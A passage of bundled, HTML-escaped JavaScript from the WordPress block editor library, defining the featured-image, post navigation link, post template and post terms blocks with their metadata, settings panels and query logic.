                label: (0, import_i18n172.__)(&quot;Link relation&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; !!rel,
                onDeselect: () =&gt; setAttributes({
                  rel: &quot;&quot;
                }),
                children: /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
                  import_components112.TextControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n172.__)(&quot;Link relation&quot;),
                    help: (0, import_element98.createInterpolateElement)(
                      (0, import_i18n172.__)(
                        &quot;The &lt;a&gt;Link Relation&lt;/a&gt; attribute defines the relationship between a linked resource and the current document.&quot;
                      ),
                      {
                        a: /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(import_components112.ExternalLink, { href: &quot;https://developer.mozilla.org/docs/Web/HTML/Attributes/rel&quot; })
                      }
                    ),
                    value: rel,
                    onChange: (newRel) =&gt; setAttributes({ rel: newRel })
                  }
                )
              }
            ),
            !!media &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
              FeaturedImageResolutionTool,
              {
                image: media,
                value: sizeSlug,
                onChange: (nextSizeSlug) =&gt; setAttributes({ sizeSlug: nextSizeSlug })
              }
            )
          ]
        }
      ) })
    ] });
    let image;
    if (!featuredImage &amp;&amp; (isDescendentOfQueryLoop || !postId)) {
      return /* @__PURE__ */ (0, import_jsx_runtime370.jsxs)(import_jsx_runtime370.Fragment, { children: [
        controls,
        /* @__PURE__ */ (0, import_jsx_runtime370.jsxs)(&quot;div&quot;, { ...blockProps, children: [
          !!isLink ? /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(&quot;a&quot;, { href: postPermalink, target: linkTarget, children: placeholder2() }) : placeholder2(),
          /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
            overlay_default,
            {
              attributes: attributes2,
              setAttributes,
              clientId
            }
          )
        ] })
      ] });
    }
    const label = (0, import_i18n172.__)(&quot;Add a featured image&quot;);
    const imageStyles = {
      ...borderProps.style,
      ...shadowProps.style,
      height: aspectRatio ? &quot;100%&quot; : height,
      width: !!aspectRatio &amp;&amp; &quot;100%&quot;,
      objectFit: !!(height || aspectRatio) &amp;&amp; scale
    };
    if (!featuredImage &amp;&amp; !temporaryURL) {
      image = /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
        import_block_editor194.MediaPlaceholder,
        {
          onSelect: onSelectImage,
          accept: &quot;image/*&quot;,
          allowedTypes: ALLOWED_MEDIA_TYPES8,
          onError: onUploadError,
          placeholder: placeholder2,
          mediaLibraryButton: ({ open }) =&gt; {
            return /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
              import_components112.Button,
              {
                __next40pxDefaultSize: true,
                icon: upload_default,
                variant: &quot;primary&quot;,
                label,
                showTooltip: true,
                tooltipPosition: &quot;top center&quot;,
                onClick: () =&gt; {
                  open();
                }
              }
            );
          }
        }
      );
    } else {
      image = !media &amp;&amp; !temporaryURL ? placeholder2() : /* @__PURE__ */ (0, import_jsx_runtime370.jsxs)(import_jsx_runtime370.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
          &quot;img&quot;,
          {
            className: borderProps.className,
            src: temporaryURL || mediaUrl,
            alt: media &amp;&amp; media?.alt_text ? (0, import_i18n172.sprintf)(
              // translators: %s: The image&#039;s alt text.
              (0, import_i18n172.__)(&quot;Featured image: %s&quot;),
              media.alt_text
            ) : (0, import_i18n172.__)(&quot;Featured image&quot;),
            style: imageStyles
          }
        ),
        temporaryURL &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(import_components112.Spinner, {})
      ] });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime370.jsxs)(import_jsx_runtime370.Fragment, { children: [
      !temporaryURL &amp;&amp; controls,
      !!media &amp;&amp; !isDescendentOfQueryLoop &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(import_block_editor194.BlockControls, { group: &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
        import_block_editor194.MediaReplaceFlow,
        {
          mediaId: featuredImage,
          mediaURL: mediaUrl,
          allowedTypes: ALLOWED_MEDIA_TYPES8,
          accept: &quot;image/*&quot;,
          onSelect: onSelectImage,
          onError: onUploadError,
          onReset: onResetImage
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime370.jsxs)(&quot;figure&quot;, { ...blockProps, children: [
        !!isLink ? /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(&quot;a&quot;, { href: postPermalink, target: linkTarget, children: image }) : image,
        /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
          overlay_default,
          {
            attributes: attributes2,
            setAttributes,
            clientId
          }
        )
      ] })
    ] });
  }

  // packages/block-library/build-module/post-featured-image/index.mjs
  var { name: name76 } = block_default75;
  var settings75 = {
    icon: post_featured_image_default,
    edit: PostFeaturedImageEdit
  };
  var init75 = () =&gt; initBlock({ name: name76, metadata: block_default75, settings: settings75 });

  // packages/block-library/build-module/post-navigation-link/index.mjs
  var post_navigation_link_exports = {};
  __export(post_navigation_link_exports, {
    init: () =&gt; init76,
    metadata: () =&gt; block_default76,
    name: () =&gt; name77,
    settings: () =&gt; settings76
  });
  var import_i18n175 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/post-navigation-link/block.json
  var block_default76 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/post-navigation-link&quot;,
    title: &quot;Post Navigation Link&quot;,
    category: &quot;theme&quot;,
    description: &quot;Displays the next or previous post link that is adjacent to the current post.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      },
      type: {
        type: &quot;string&quot;,
        default: &quot;next&quot;
      },
      label: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      },
      showTitle: {
        type: &quot;boolean&quot;,
        default: false
      },
      linkLabel: {
        type: &quot;boolean&quot;,
        default: false
      },
      arrow: {
        type: &quot;string&quot;,
        default: &quot;none&quot;
      },
      taxonomy: {
        type: &quot;string&quot;,
        default: &quot;&quot;
      }
    },
    usesContext: [&quot;postType&quot;],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      color: {
        link: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalWritingMode: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    style: &quot;wp-block-post-navigation-link&quot;
  };

  // packages/block-library/build-module/post-navigation-link/edit.mjs
  var import_components113 = __toESM(require_components(), 1);
  var import_block_editor195 = __toESM(require_block_editor(), 1);
  var import_i18n173 = __toESM(require_i18n(), 1);
  var import_data107 = __toESM(require_data(), 1);
  var import_core_data62 = __toESM(require_core_data(), 1);
  var import_jsx_runtime371 = __toESM(require_jsx_runtime(), 1);
  function PostNavigationLinkEdit({
    context: { postType },
    attributes: {
      type,
      label,
      showTitle,
      textAlign,
      linkLabel,
      arrow,
      taxonomy
    },
    setAttributes
  }) {
    const blockEditingMode = (0, import_block_editor195.useBlockEditingMode)();
    const showControls = blockEditingMode === &quot;default&quot;;
    const isNext = type === &quot;next&quot;;
    let placeholder2 = isNext ? (0, import_i18n173.__)(&quot;Next&quot;) : (0, import_i18n173.__)(&quot;Previous&quot;);
    const arrowMap5 = {
      none: &quot;&quot;,
      arrow: isNext ? &quot;\u2192&quot; : &quot;\u2190&quot;,
      chevron: isNext ? &quot;\xBB&quot; : &quot;\xAB&quot;
    };
    const displayArrow = arrowMap5[arrow];
    if (showTitle) {
      placeholder2 = isNext ? (
        /* translators: Label before for next and previous post. There is a space after the colon. */
        (0, import_i18n173.__)(&quot;Next: &quot;)
      ) : (
        /* translators: Label before for next and previous post. There is a space after the colon. */
        (0, import_i18n173.__)(&quot;Previous: &quot;)
      );
    }
    const ariaLabel = isNext ? (0, import_i18n173.__)(&quot;Next post&quot;) : (0, import_i18n173.__)(&quot;Previous post&quot;);
    const blockProps = (0, import_block_editor195.useBlockProps)({
      className: clsx_default({
        [`has-text-align-${textAlign}`]: textAlign
      })
    });
    const taxonomies = (0, import_data107.useSelect)(
      (select9) =&gt; {
        const { getTaxonomies } = select9(import_core_data62.store);
        const filteredTaxonomies = getTaxonomies({
          type: postType,
          per_page: -1
        });
        return filteredTaxonomies;
      },
      [postType]
    );
    const getTaxonomyOptions = () =&gt; {
      const selectOption = {
        label: (0, import_i18n173.__)(&quot;Unfiltered&quot;),
        value: &quot;&quot;
      };
      const taxonomyOptions = (taxonomies ?? []).filter(({ visibility }) =&gt; !!visibility?.publicly_queryable).map((item) =&gt; {
        return {
          value: item.slug,
          label: item.name
        };
      });
      return [selectOption, ...taxonomyOptions];
    };
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime371.jsxs)(import_jsx_runtime371.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(import_block_editor195.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime371.jsxs)(
        import_components113.__experimentalToolsPanel,
        {
          label: (0, import_i18n173.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              showTitle: false,
              linkLabel: false,
              arrow: &quot;none&quot;
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
              import_components113.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n173.__)(&quot;Display the title as a link&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; showTitle,
                onDeselect: () =&gt; setAttributes({ showTitle: false }),
                children: /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
                  import_components113.ToggleControl,
                  {
                    label: (0, import_i18n173.__)(&quot;Display the title as a link&quot;),
                    help: (0, import_i18n173.__)(
                      &quot;If you have entered a custom label, it will be prepended before the title.&quot;
                    ),
                    checked: !!showTitle,
                    onChange: () =&gt; setAttributes({
                      showTitle: !showTitle
                    })
                  }
                )
              }
            ),
            showTitle &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
              import_components113.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n173.__)(
                  &quot;Include the label as part of the link&quot;
                ),
                isShownByDefault: true,
                hasValue: () =&gt; !!linkLabel,
                onDeselect: () =&gt; setAttributes({ linkLabel: false }),
                children: /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
                  import_components113.ToggleControl,
                  {
                    label: (0, import_i18n173.__)(
                      &quot;Include the label as part of the link&quot;
                    ),
                    checked: !!linkLabel,
                    onChange: () =&gt; setAttributes({
                      linkLabel: !linkLabel
                    })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
              import_components113.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n173.__)(&quot;Arrow&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; arrow !== &quot;none&quot;,
                onDeselect: () =&gt; setAttributes({ arrow: &quot;none&quot; }),
                children: /* @__PURE__ */ (0, import_jsx_runtime371.jsxs)(
                  import_components113.__experimentalToggleGroupControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n173.__)(&quot;Arrow&quot;),
                    value: arrow,
                    onChange: (value) =&gt; {
                      setAttributes({ arrow: value });
                    },
                    help: (0, import_i18n173.__)(
                      &quot;A decorative arrow for the next and previous link.&quot;
                    ),
                    isBlock: true,
                    children: [
                      /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
                        import_components113.__experimentalToggleGroupControlOption,
                        {
                          value: &quot;none&quot;,
                          label: (0, import_i18n173._x)(
                            &quot;None&quot;,
                            &quot;Arrow option for Next/Previous link&quot;
                          )
                        }
                      ),
                      /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
                        import_components113.__experimentalToggleGroupControlOption,
                        {
                          value: &quot;arrow&quot;,
                          label: (0, import_i18n173._x)(
                            &quot;Arrow&quot;,
                            &quot;Arrow option for Next/Previous link&quot;
                          )
                        }
                      ),
                      /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
                        import_components113.__experimentalToggleGroupControlOption,
                        {
                          value: &quot;chevron&quot;,
                          label: (0, import_i18n173._x)(
                            &quot;Chevron&quot;,
                            &quot;Arrow option for Next/Previous link&quot;
                          )
                        }
                      )
                    ]
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(import_block_editor195.InspectorControls, { group: &quot;advanced&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
        import_components113.SelectControl,
        {
          __next40pxDefaultSize: true,
          label: (0, import_i18n173.__)(&quot;Filter by taxonomy&quot;),
          value: taxonomy,
          options: getTaxonomyOptions(),
          onChange: (value) =&gt; setAttributes({
            taxonomy: value
          }),
          help: (0, import_i18n173.__)(
            &quot;Only link to posts that have the same taxonomy terms as the current post. For example the same tags or categories.&quot;
          )
        }
      ) }),
      showControls &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(import_block_editor195.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
        import_block_editor195.AlignmentToolbar,
        {
          value: textAlign,
          onChange: (nextAlign) =&gt; {
            setAttributes({ textAlign: nextAlign });
          }
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime371.jsxs)(&quot;div&quot;, { ...blockProps, children: [
        !isNext &amp;&amp; displayArrow &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
          &quot;span&quot;,
          {
            className: `wp-block-post-navigation-link__arrow-previous is-arrow-${arrow}`,
            children: displayArrow
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
          import_block_editor195.RichText,
          {
            tagName: &quot;a&quot;,
            identifier: &quot;label&quot;,
            &quot;aria-label&quot;: ariaLabel,
            placeholder: placeholder2,
            value: label,
            withoutInteractiveFormatting: true,
            onChange: (newLabel) =&gt; setAttributes({ label: newLabel })
          }
        ),
        showTitle &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
          &quot;a&quot;,
          {
            href: &quot;#post-navigation-pseudo-link&quot;,
            onClick: (event) =&gt; event.preventDefault(),
            children: (0, import_i18n173.__)(&quot;An example title&quot;)
          }
        ),
        isNext &amp;&amp; displayArrow &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
          &quot;span&quot;,
          {
            className: `wp-block-post-navigation-link__arrow-next is-arrow-${arrow}`,
            &quot;aria-hidden&quot;: true,
            children: displayArrow
          }
        )
      ] })
    ] });
  }

  // packages/block-library/build-module/post-navigation-link/variations.mjs
  var import_i18n174 = __toESM(require_i18n(), 1);
  var variations11 = [
    {
      name: &quot;post-previous&quot;,
      title: (0, import_i18n174.__)(&quot;Previous Post&quot;),
      description: (0, import_i18n174.__)(
        &quot;Displays the post link that precedes the current post.&quot;
      ),
      icon: previous_default,
      attributes: { type: &quot;previous&quot; },
      scope: [&quot;inserter&quot;, &quot;transform&quot;],
      example: {
        attributes: {
          label: (0, import_i18n174.__)(&quot;Previous post&quot;),
          arrow: &quot;arrow&quot;
        }
      }
    },
    {
      isDefault: true,
      name: &quot;post-next&quot;,
      title: (0, import_i18n174.__)(&quot;Next Post&quot;),
      description: (0, import_i18n174.__)(
        &quot;Displays the post link that follows the current post.&quot;
      ),
      icon: next_default,
      attributes: { type: &quot;next&quot; },
      scope: [&quot;inserter&quot;, &quot;transform&quot;],
      example: {
        attributes: {
          label: (0, import_i18n174.__)(&quot;Next post&quot;),
          arrow: &quot;arrow&quot;
        }
      }
    }
  ];
  variations11.forEach((variation) =&gt; {
    if (variation.isActive) {
      return;
    }
    variation.isActive = (blockAttributes8, variationAttributes) =&gt; blockAttributes8.type === variationAttributes.type;
  });
  var variations_default11 = variations11;

  // packages/block-library/build-module/post-navigation-link/index.mjs
  var { name: name77 } = block_default76;
  var settings76 = {
    edit: PostNavigationLinkEdit,
    variations: variations_default11,
    example: {
      attributes: {
        label: (0, import_i18n175.__)(&quot;Next post&quot;),
        arrow: &quot;arrow&quot;
      }
    }
  };
  var init76 = () =&gt; initBlock({ name: name77, metadata: block_default76, settings: settings76 });

  // packages/block-library/build-module/post-template/index.mjs
  var post_template_exports = {};
  __export(post_template_exports, {
    init: () =&gt; init77,
    metadata: () =&gt; block_default77,
    name: () =&gt; name78,
    settings: () =&gt; settings77
  });

  // packages/block-library/build-module/post-template/block.json
  var block_default77 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/post-template&quot;,
    title: &quot;Post Template&quot;,
    category: &quot;theme&quot;,
    ancestor: [&quot;core/query&quot;],
    description: &quot;Contains the block elements used to render a post, like the title, date, featured image, content or excerpt, and more.&quot;,
    textdomain: &quot;default&quot;,
    usesContext: [
      &quot;queryId&quot;,
      &quot;query&quot;,
      &quot;displayLayout&quot;,
      &quot;templateSlug&quot;,
      &quot;previewPostType&quot;,
      &quot;enhancedPagination&quot;,
      &quot;postType&quot;
    ],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      align: [&quot;wide&quot;, &quot;full&quot;],
      layout: true,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        blockGap: {
          __experimentalDefault: &quot;1.25em&quot;
        },
        __experimentalDefaultControls: {
          blockGap: true,
          padding: false,
          margin: false
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      }
    },
    style: &quot;wp-block-post-template&quot;,
    editorStyle: &quot;wp-block-post-template-editor&quot;
  };

  // packages/block-library/build-module/post-template/edit.mjs
  var import_element99 = __toESM(require_element(), 1);
  var import_data108 = __toESM(require_data(), 1);
  var import_i18n176 = __toESM(require_i18n(), 1);
  var import_block_editor196 = __toESM(require_block_editor(), 1);
  var import_components114 = __toESM(require_components(), 1);
  var import_core_data63 = __toESM(require_core_data(), 1);
  var import_jsx_runtime372 = __toESM(require_jsx_runtime(), 1);
  var TEMPLATE12 = [
    [&quot;core/post-title&quot;],
    [
      &quot;core/post-date&quot;,
      {
        metadata: {
          bindings: {
            datetime: {
              source: &quot;core/post-data&quot;,
              args: { field: &quot;date&quot; }
            }
          }
        }
      }
    ],
    [&quot;core/post-excerpt&quot;]
  ];
  function PostTemplateInnerBlocks({ classList }) {
    const innerBlocksProps = (0, import_block_editor196.useInnerBlocksProps)(
      { className: clsx_default(&quot;wp-block-post&quot;, classList) },
      { template: TEMPLATE12, __unstableDisableLayoutClassNames: true }
    );
    return /* @__PURE__ */ (0, import_jsx_runtime372.jsx)(&quot;li&quot;, { ...innerBlocksProps });
  }
  function PostTemplateBlockPreview({
    blocks,
    blockContextId,
    classList,
    isHidden,
    setActiveBlockContextId
  }) {
    const blockPreviewProps = (0, import_block_editor196.__experimentalUseBlockPreview)({
      blocks,
      props: {
        className: clsx_default(&quot;wp-block-post&quot;, classList)
      }
    });
    const handleOnClick = () =&gt; {
      setActiveBlockContextId(blockContextId);
    };
    const style2 = {
      display: isHidden ? &quot;none&quot; : void 0
    };
    return /* @__PURE__ */ (0, import_jsx_runtime372.jsx)(
      &quot;li&quot;,
      {
        ...blockPreviewProps,
        tabIndex: 0,
        role: &quot;button&quot;,
        onClick: handleOnClick,
        onKeyPress: handleOnClick,
        style: style2
      }
    );
  }
  var MemoizedPostTemplateBlockPreview = (0, import_element99.memo)(PostTemplateBlockPreview);
  function PostTemplateEdit({
    setAttributes,
    clientId,
    context: {
      query: {
        perPage,
        offset = 0,
        postType,
        order,
        orderBy,
        author,
        search,
        exclude,
        sticky,
        inherit,
        taxQuery,
        parents,
        pages,
        format: format3,
        // We gather extra query args to pass to the REST API call.
        // This way extenders of Query Loop can add their own query args,
        // and have accurate previews in the editor.
        // Noting though that these args should either be supported by the
        // REST API or be handled by custom REST filters like `rest_{$this-&gt;post_type}_query`.
        ...restQueryArgs
      } = {},
      templateSlug,
      previewPostType
    },
    attributes: { layout },
    __unstableLayoutClassNames
  }) {
    const { type: layoutType, columnCount = 3 } = layout || {};
    const [activeBlockContextId, setActiveBlockContextId] = (0, import_element99.useState)();
    const { posts, blocks } = (0, import_data108.useSelect)(
      (select9) =&gt; {
        const { getEntityRecords, getTaxonomies } = select9(import_core_data63.store);
        const { getBlocks } = select9(import_block_editor196.store);
        const templateCategory = inherit &amp;&amp; templateSlug?.startsWith(&quot;category-&quot;) &amp;&amp; getEntityRecords(&quot;taxonomy&quot;, &quot;category&quot;, {
          context: &quot;view&quot;,
          per_page: 1,
          _fields: [&quot;id&quot;],
          slug: templateSlug.replace(&quot;category-&quot;, &quot;&quot;)
        });
        const templateTag = inherit &amp;&amp; templateSlug?.startsWith(&quot;tag-&quot;) &amp;&amp; getEntityRecords(&quot;taxonomy&quot;, &quot;post_tag&quot;, {
          context: &quot;view&quot;,
          per_page: 1,
          _fields: [&quot;id&quot;],
          slug: templateSlug.replace(&quot;tag-&quot;, &quot;&quot;)
        });
        const query = {
          offset: offset || 0,
          order,
          orderby: orderBy
        };
        if (taxQuery &amp;&amp; !inherit) {
          const taxonomies = getTaxonomies({
            type: postType,
            per_page: -1,
            context: &quot;view&quot;
          });
          const buildTaxQuery = (terms, suffix = &quot;&quot;) =&gt; {
            return Object.entries(terms || {}).reduce(
              (accumulator, [taxonomySlug, termIds]) =&gt; {
                const taxonomy = taxonomies?.find(
                  ({ slug }) =&gt; slug === taxonomySlug
                );
                if (taxonomy?.rest_base &amp;&amp; termIds?.length) {
                  accumulator[taxonomy.rest_base + suffix] = termIds;
                }
                return accumulator;
              },
              {}
            );
          };
          const builtTaxQuery = buildTaxQuery(taxQuery.include);
          if (taxQuery.exclude) {
            Object.assign(
              builtTaxQuery,
              buildTaxQuery(taxQuery.exclude, &quot;_exclude&quot;)
            );
          }
          if (!!Object.keys(builtTaxQuery).length) {
            Object.assign(query, builtTaxQuery);
          }
        }
        if (perPage) {
          query.per_page = perPage;
        }
        if (author) {
          query.author = author;
        }
        if (search) {
          query.search = search;
        }
        if (exclude?.length) {
          query.exclude = exclude;
        }
        if (parents?.length) {
          query.parent = parents;
        }
        if (format3?.length) {
          query.format = format3;
        }
        if ([&quot;exclude&quot;, &quot;only&quot;].includes(sticky)) {
          query.sticky = sticky === &quot;only&quot;;
        }
        if ([&quot;&quot;, &quot;ignore&quot;].includes(sticky)) {
          delete query.sticky;
          query.ignore_sticky = sticky === &quot;ignore&quot;;
        }
        let currentPostType = postType;
        if (inherit) {
          if (templateSlug?.startsWith(&quot;archive-&quot;)) {
            query.postType = templateSlug.replace(&quot;archive-&quot;, &quot;&quot;);
            currentPostType = query.postType;
          } else if (templateCategory) {
            query.categories = templateCategory[0]?.id;
          } else if (templateTag) {
            query.tags = templateTag[0]?.id;
          } else if (templateSlug?.startsWith(&quot;taxonomy-post_format&quot;)) {
            query.format = templateSlug.replace(
              &quot;taxonomy-post_format-post-format-&quot;,
              &quot;&quot;
            );
          }
        }
        const usedPostType = previewPostType || currentPostType;
        return {
          posts: getEntityRecords(&quot;postType&quot;, usedPostType, {
            ...query,
            ...restQueryArgs
          }),
          blocks: getBlocks(clientId)
        };
      },
      [
        perPage,
        offset,
        order,
        orderBy,
        clientId,
        author,
        search,
        postType,
        exclude,
        sticky,
        inherit,
        templateSlug,
        taxQuery,
        parents,
        format3,
        restQueryArgs,
        previewPostType
      ]
    );
    const blockContexts = (0, import_element99.useMemo)(
      () =&gt; posts?.map((post) =&gt; ({
        postType: post.type,
        postId: post.id,
        classList: post.class_list ?? &quot;&quot;
      })),
      [posts]
    );
    const blockProps = (0, import_block_editor196.useBlockProps)({
      className: clsx_default(__unstableLayoutClassNames, {
        [`columns-${columnCount}`]: layoutType === &quot;grid&quot; &amp;&amp; columnCount
        // Ensure column count is flagged via classname for backwards compatibility.
      })
    });
    if (!posts) {
      return /* @__PURE__ */ (0, import_jsx_runtime372.jsx)(&quot;p&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime372.jsx)(import_components114.Spinner, {}) });
    }
    if (!posts.length) {
      return /* @__PURE__ */ (0, import_jsx_runtime372.jsxs)(&quot;p&quot;, { ...blockProps, children: [
        &quot; &quot;,
        (0, import_i18n176.__)(&quot;No results found.&quot;)
      ] });
    }
    const setDisplayLayout = (newDisplayLayout) =&gt; setAttributes({
      layout: { ...layout, ...newDisplayLayout }
    });
    const displayLayoutControls = [
      {
        icon: list_default,
        title: (0, import_i18n176._x)(&quot;List view&quot;, &quot;Post template block display setting&quot;),
        onClick: () =&gt; setDisplayLayout({ type: &quot;default&quot; }),
        isActive: layoutType === &quot;default&quot; || layoutType === &quot;constrained&quot;
      },
      {
        icon: grid_default,
        title: (0, import_i18n176._x)(&quot;Grid view&quot;, &quot;Post template block display setting&quot;),
        onClick: () =&gt; setDisplayLayout({
          type: &quot;grid&quot;,
          columnCount
        }),
        isActive: layoutType === &quot;grid&quot;
      }
    ];
    return /* @__PURE__ */ (0, import_jsx_runtime372.jsxs)(import_jsx_runtime372.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime372.jsx)(import_block_editor196.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime372.jsx)(import_components114.ToolbarGroup, { controls: displayLayoutControls }) }),
      /* @__PURE__ */ (0, import_jsx_runtime372.jsx)(&quot;ul&quot;, { ...blockProps, children: blockContexts &amp;&amp; blockContexts.map((blockContext) =&gt; /* @__PURE__ */ (0, import_jsx_runtime372.jsxs)(
        import_block_editor196.BlockContextProvider,
        {
          value: blockContext,
          children: [
            blockContext.postId === (activeBlockContextId || blockContexts[0]?.postId) ? /* @__PURE__ */ (0, import_jsx_runtime372.jsx)(
              PostTemplateInnerBlocks,
              {
                classList: blockContext.classList
              }
            ) : null,
            /* @__PURE__ */ (0, import_jsx_runtime372.jsx)(
              MemoizedPostTemplateBlockPreview,
              {
                blocks,
                blockContextId: blockContext.postId,
                classList: blockContext.classList,
                setActiveBlockContextId,
                isHidden: blockContext.postId === (activeBlockContextId || blockContexts[0]?.postId)
              }
            )
          ]
        },
        blockContext.postId
      )) })
    ] });
  }

  // packages/block-library/build-module/post-template/save.mjs
  var import_block_editor197 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime373 = __toESM(require_jsx_runtime(), 1);
  function PostTemplateSave() {
    return /* @__PURE__ */ (0, import_jsx_runtime373.jsx)(import_block_editor197.InnerBlocks.Content, {});
  }

  // packages/block-library/build-module/post-template/index.mjs
  var { name: name78 } = block_default77;
  var settings77 = {
    icon: layout_default,
    edit: PostTemplateEdit,
    save: PostTemplateSave
  };
  var init77 = () =&gt; initBlock({ name: name78, metadata: block_default77, settings: settings77 });

  // packages/block-library/build-module/post-terms/index.mjs
  var post_terms_exports = {};
  __export(post_terms_exports, {
    init: () =&gt; init78,
    metadata: () =&gt; block_default78,
    name: () =&gt; name79,
    settings: () =&gt; settings78
  });
  var import_hooks57 = __toESM(require_hooks(), 1);

  // packages/block-library/build-module/post-terms/block.json
  var block_default78 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/post-terms&quot;,
    title: &quot;Post Terms&quot;,
    category: &quot;theme&quot;,
    description: &quot;Post terms.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      term: {
        type: &quot;string&quot;
      },
      separator: {
        type: &quot;string&quot;,
        default: &quot;, &quot;
      },
      prefix: {
        type: &quot;string&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      suffix: {
        type: &quot;string&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      }
    },
    usesContext: [&quot;postId&quot;, &quot;postType&quot;],
    example: {
      viewportWidth: 350
    },
    supports: {
      anchor: true,
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: &quot;wp-block-post-terms&quot;
  };

  // packages/block-library/build-module/post-terms/edit.mjs
  var import_block_editor198 = __toESM(require_block_editor(), 1);
  var import_blocks86 = __toESM(require_blocks(), 1);
  var import_components115 = __toESM(require_components(), 1);
  var import_data110 = __toESM(require_data(), 1);
  var import_html_entities9 = __toESM(require_html_entities(), 1);
  var import_i18n177 = __toESM(require_i18n(), 1);
  var import_core_data65 = __toESM(require_core_data(), 1);

  // packages/block-library/build-module/post-terms/use-post-terms.mjs
  var import_core_data64 = __toESM(require_core_data(), 1);
  var import_data109 = __toESM(require_data(), 1);
  var EMPTY_ARRAY3 = [];
  function usePostTerms({ postId, term }) {
    const { slug } = term;
    return (0, import_data109.useSelect)(
      (select9) =&gt; {
        const visible = term?.visibility?.publicly_queryable;
        if (!visible || !postId) {
          return {
